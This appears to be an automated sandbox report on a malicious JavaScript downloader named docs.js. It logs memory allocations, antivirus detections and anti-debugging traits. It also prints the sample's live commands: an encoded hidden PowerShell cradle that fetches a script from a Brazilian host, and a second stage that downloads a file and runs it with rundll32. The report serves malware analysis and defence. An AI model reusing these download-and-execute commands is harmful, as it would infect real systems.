NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02344000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0237b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02377000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0233b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02362000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02375000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02345000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0236c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02570000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02346000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0237c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02363000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02364000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02365000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02366000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02367000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02368000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02369000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ce000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027cf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 28, 2021, 2:05 p.m.	process_identifier: 1360 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==
cmdline	"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==
cmdline	cmd.exe /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW July 28, 2021, 2:05 p.m.	show_type: 0 filepath_r: cmd.exe parameters: /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA== filepath: cmd.exe	1	1	0

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

Cyren	JS/Agent.AXV1!Eldorado
ESET-NOD32	JS/TrojanDownloader.Agent.XSN
TrendMicro-HouseCall	Trojan.JS.POWLOAD.WEIQY
Kaspersky	HEUR:Trojan-Downloader.Script.SLoad.gen
BitDefender	Trojan.GenericKD.46694355
MicroWorld-eScan	Trojan.GenericKD.46694355
Ad-Aware	Trojan.GenericKD.46694355
FireEye	Trojan.GenericKD.46694355
MAX	malware (ai score=83)

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses July 28, 2021, 2:05 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (9 events)

Data received	HTTP/1.1 200 OK Date: Wed, 28 Jul 2021 05:05:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Vary: Accept-Encoding Accept-Ranges: none Keep-Alive: timeout=5, max=75 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 10a $path = $Env:temp+'\fJcLHW.bin'; $client = New-Object System.Net.WebClient; $client.downloadfile('https://docs.zohopublic.eu/downloaddocument.do?docId=674ni1c6312a91d7149af89b6475ece38b9b3&docExtn=png',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer
Data received	1
Data received
Data received
Data received
Data received
Data received	0
Data received
Data received	F

Poweshell is sending data to a remote host (3 events)

Data sent	GET /site/direct.php HTTP/1.1 Host: josymixmyhome.com.br Connection: Keep-Alive
Data sent	uqaå3«jô ÑÔ.F<\|hzù;Æçô2Ío/5 ÀÀÀ À 280ÿdocs.zohopublic.eu
Data sent	uqaåt¦æT2+>ì¾ÃyÿRy×\|êSðç/5 ÀÀÀ À 280ÿdocs.zohopublic.eu

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW July 28, 2021, 2:05 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send July 28, 2021, 2:05 p.m.	buffer: GET /site/direct.php HTTP/1.1 Host: josymixmyhome.com.br Connection: Keep-Alive socket: 1416 sent: 85	1	85
send July 28, 2021, 2:05 p.m.	buffer: uqaå3«jô ÑÔ.F<\|hzù;Æçô2Ío/5 ÀÀÀ À 280ÿdocs.zohopublic.eu socket: 1452 sent: 122	1	122
send July 28, 2021, 2:05 p.m.	buffer: uqaåt¦æT2+>ì¾ÃyÿRy×\|êSðç/5 ÀÀÀ À 280ÿdocs.zohopublic.eu socket: 1452 sent: 122	1	122

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\fJcLHW.bin DllRegisterServer
parent_process	wscript.exe	martian_process	cmd.exe /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AagBvAHMAeQBtAGkAeABtAHkAaABvAG0AZQAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAvAGQAaQByAGUAYwB0AC4AcABoAHAAIgApAA==

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1496 resumed a thread in remote process 568
NtResumeThread July 28, 2021, 2:05 p.m.	thread_handle: 0x00000304 suspend_count: 1 process_identifier: 568	1	0	0

Creates a suspicious Powershell process (9 events)

option	-ep bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
option	-ep bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
option	-ep bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Windows\System32\cmd.exe
file	C:\Windows\System32\rundll32.exe

docs.js

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All